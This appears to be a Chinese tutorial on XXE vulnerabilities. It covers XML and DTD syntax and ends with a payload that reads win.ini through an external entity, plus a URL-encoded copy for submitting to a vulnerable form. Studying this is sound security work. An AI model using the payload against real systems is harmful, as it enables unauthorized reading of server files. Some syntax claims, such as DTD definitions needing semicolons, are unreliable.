赞
踩
XXE (XML 外部实体) 是一种安全漏洞,影响解析 XML 输入的应用程序。该漏洞允许攻击者在 XML 文档中注入外部实体, DTD 可以在 XML 文档中引用外部实体。如果 XML 解析器未正确验证外部实体的内容,攻击者可以利用 XXE 漏洞读取系统的机密数据,或者在恶意 DTD 文件中执行任意代码。
当应用程序未能正确处理传入的 XML 数据或未限制可以处理的实体类型时,XXE 可能发生。因此,攻击者可以构造一个包含外部实体的恶意 XML 文档,该外部实体由脆弱的应用程序处理。
XML 文档必须以一个特殊的声明开头,用于指示 XML 文件的版本和编码。格式如下:
<?xml version="1.0" encoding="UTF-8"?>
XML 文档必须有一个根元素,它是整个文档的容器。根元素包含其他元素,并以标签的形式定义。例如:
<root>
...
</root>
XML 文档中的所有数据都存储在元素中。元素用标签定义,并以开始标签和结束标签的形式表示。例如:
<element>This is a sample element</element>
元素可以有属性,用于提供有关元素的其他信息。属性以名称/值对的形式出现在元素的开始标签中。例如:
<element attribute="value">This is a sample element</element>
XML 文档可以包含注释,用于提供有关代码的信息。注释以特殊的标记开头,并以特殊的标记结尾。例如:
<!-- This is a sample comment -->
XML 文档可以包含 CDATA(不被解析的数据)。CDATA 用于包含不需要解析的数据,例如 HTML 或 JavaScript 代码。CDATA 以特殊的标记开头和结尾。例如:
<![CDATA[This is a sample CDATA]]>
XML 中的空元素是没有内容的元素。它以特殊的标记表示,例如:
<empty_element />
DTD 文档以 <!DOCTYPE 开头,后跟元素的类型和 DTD 文件的位置。
元素定义以 <!ELEMENT 开头,后跟元素的名称和其子元素的描述。
属性定义以 <!ATTLIST 开头,后跟元素的名称和其属性的描述。
元素类型可以是元素的名称、#PCDATA(表示元素中的文本)或其他元素类型的序列。
可以使用通配符(例如 * 和 +)来描述元素出现的次数。
可以使用括号(例如 (A|B))来描述多个元素的选择。
可以使用引用(例如 %name;)来重复使用元素定义。
所有定义必须以分号结尾。
<!DOCTYPE book [
<!ELEMENT book (title, author, pages)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT pages (#PCDATA)>
<!ATTLIST book ISBN CDATA #REQUIRED>
]>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
在可能存在漏洞的点,尝试利用XXE读取win.ini,这里对其做了一个简单的URL编码
%3C%3Fxml+version%3D%221.0%22%3F%3E++%3C%21DOCTYPE+foo+%5B+++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E+%5D%3E++%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&submit=%E6%8F%90%E4%BA%A4
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。